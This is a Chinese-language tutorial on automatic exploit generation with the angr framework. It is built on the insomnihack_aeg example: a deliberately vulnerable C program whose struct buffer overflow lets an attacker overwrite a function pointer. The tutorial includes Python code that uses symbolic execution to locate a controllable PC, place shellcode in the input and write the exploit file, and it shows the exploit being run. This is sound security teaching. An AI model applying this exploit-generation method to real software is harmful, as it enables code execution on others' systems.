基于 angr 的漏洞利用自动生成之缓冲区溢出案例分析
字数 1700 2025-08-24 16:48:07
基于angr的漏洞利用自动生成技术详解:缓冲区溢出案例分析
一、前言
本文详细解析如何利用angr框架实现自动化漏洞利用生成(Automatic Exploit Generation, AEG),通过一个具体的缓冲区溢出案例展示完整的技术流程。我们将分析官方示例insomnihack_aeg,深入讲解每个步骤的实现细节和相关接口。
二、目标程序分析
2.1 程序源代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char component_name[128] = {0}; // 全局缓冲区,大小为128字节
typedef struct component {
char name[32]; // 结构体成员,只有32字节
int (*do_something)(int arg); // 函数指针
} comp_t;
int sample_func(int x) {
printf(" - %s - recieved argument %d\n", component_name, x);
}
comp_t *initialize_component(char *cmp_name) {
int i = 0;
comp_t *cmp;
cmp = malloc(sizeof(struct component));
cmp->do_something = sample_func;
printf("Copying component name...\n");
while(*cmp_name)
cmp->name[i++] = *cmp_name++; // 缓冲区溢出漏洞点
cmp->name[i] = '\0';
return cmp;
}
int main(void) {
comp_t *cmp;
printf("Component Name:\n");
read(0, component_name, sizeof component_name);
printf("Initializing component...\n");
cmp = initialize_component(component_name);
printf("Running component...\n");
cmp->do_something(1); // 调用函数指针
}
2.2 漏洞分析
-
缓冲区溢出:全局变量
component_name大小为128字节,而结构体中的name字段只有32字节。当initialize_component函数将component_name复制到name时,会发生缓冲区溢出。 -
利用点:溢出的数据可以覆盖结构体中的函数指针
do_something,从而控制程序执行流。 -
利用思路:
- 在输入缓冲区中放置shellcode
- 通过溢出覆盖函数指针,使其指向shellcode
- 当程序调用
do_something时,执行我们的shellcode
三、自动利用生成技术流程
3.1 整体流程
- 漏洞挖掘:通过符号执行探索程序路径,寻找可利用状态
- 状态分析:分析寄存器状态和内存布局
- 设置利用约束:根据漏洞利用技术设定约束条件
- 约束求解:生成满足条件的exploit输入
3.2 详细实现步骤
3.2.1 初始化项目
p = angr.Project(binary)
binary_name = os.path.basename(binary)
# 设置State选项
extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
es = p.factory.entry_state(add_options=extras) # 获得入口点State
sm = p.factory.simulation_manager(es, save_unconstrained=True) # 初始化simulation_manager
关键参数说明:
REVERSE_MEMORY_NAME_MAP:维护符号变量名到内存地址的映射TRACK_ACTION_HISTORY:记录模拟执行状态的ACTION历史save_unconstrained=True:保存无约束状态到unconstrainedstash中
3.2.2 漏洞挖掘及状态分析
exploitable_state = None
while exploitable_state is None:
sm.step() # 单步执行状态
if len(sm.unconstrained) > 0: # 找到未约束状态
for u in sm.unconstrained:
if fully_symbolic(u, u.regs.pc): # 判断PC寄存器是否完全符号化
exploitable_state = u
break
sm.drop(stash='unconstrained') # 删除不可利用的未约束状态
关键函数fully_symbolic实现:
def fully_symbolic(state, variable):
"""检查变量是否完全符号化"""
for i in range(state.arch.bits):
if not state.solver.symbolic(variable[i]):
return False
return True
3.2.3 构造利用约束
- 查找符号化缓冲区:
def find_symbolic_buffer(state, length):
"""查找内存中用户可控的符号化缓冲区"""
stdin = state.posix.stdin
sym_addrs = []
# 获取所有符号变量
for _, symbol in state.solver.get_variables('file', stdin.ident):
sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables))))
# 检查连续地址空间
for addr in sym_addrs:
if check_continuity(addr, sym_addrs, length):
yield addr
def check_continuity(address, addresses, length):
"""检查地址区域是否连续"""
for i in range(length):
if not address + i in addresses:
return False
return True
- 设置利用约束:
for buf_addr in find_symbolic_buffer(ep, len(shellcode)):
memory = ep.memory.load(buf_addr, len(shellcode))
sc_bvv = ep.solver.BVV(shellcode) # 将shellcode转为bitvector
# 检查约束是否可满足
if ep.satisfiable(extra_constraints=(memory == sc_bvv, ep.regs.pc == buf_addr)):
ep.add_constraints(memory == sc_bvv) # 约束1:缓冲区可存放shellcode
ep.add_constraints(ep.regs.pc == buf_addr) # 约束2:PC指向shellcode
break
3.2.4 约束求解与Exploit生成
filename = '%s-exploit' % binary_name
with open(filename, 'wb') as f:
f.write(ep.posix.dumps(0)) # 对标准输入进行约束求解
四、技术要点解析
4.1 关键接口说明
-
SimulationManager.step():
- 功能:单步执行stash中的state
- 参数:可指定执行的stash、步数、过滤函数等
- 返回值:分类后的状态会存入不同的stash中
-
State.solver:
symbolic():判断变量是否为符号化BVV():将具体值转换为符号化的bitvectorsatisfiable():检查约束是否可满足add_constraints():添加约束条件
-
posix.dumps():
- 功能:对文件描述符进行约束求解
- 等同于:
my_stdin_file = my_state.posix.files[0] # stdin文件描述符 all_my_bytes = my_stdin_file.all_bytes() # 文件中的所有字节 myBytesString = my_path.se.eval(all_my_bytes, cast_to=str) # 求解字节并转为字符串
4.2 调试技巧
使用ipdb进行调试:
python -m ipdb solve.py demo_bin
常用命令:
b:设置断点c:继续运行n:单步运行s:步进函数
调试时可查看:
sm.active:活跃状态列表sm.deadended:无法继续执行的状态sm.unconstrained:无约束状态
五、案例测试与验证
5.1 生成Exploit
运行脚本:
python solve.py demo_bin
生成的exploit文件demo_bin-exploit包含:
- Shellcode
- Padding
- Shellcode地址(覆盖函数指针)
5.2 验证Exploit
(cat ./demo_bin-exploit; echo echo BUMO) | ./demo_bin
输出示例:
Component Name:
Initializing component...
Copying component name...
Running component...
- BUMO - recieved argument 1
六、总结与扩展
6.1 技术要点总结
- 路径探索:通过符号执行探索程序路径,寻找可利用状态
- 状态判断:关键检查PC寄存器是否完全符号化
- 约束设置:根据漏洞利用技术设置合理的约束条件
- 内存布局:需要找到连续的符号化内存区域存放shellcode
6.2 扩展思考
- 复杂漏洞处理:对于更复杂的漏洞,需要设计更精细的约束条件
- 防护绕过:如何应对ASLR、DEP等防护机制
- 多路径探索:处理条件分支时的路径爆炸问题
- 性能优化:大规模程序的符号执行效率问题
6.3 参考资料
通过本案例的学习,读者可以掌握使用angr进行自动化漏洞利用生成的基本方法,理解符号执行在漏洞利用中的实际应用,为进一步研究二进制安全自动化工具打下坚实基础。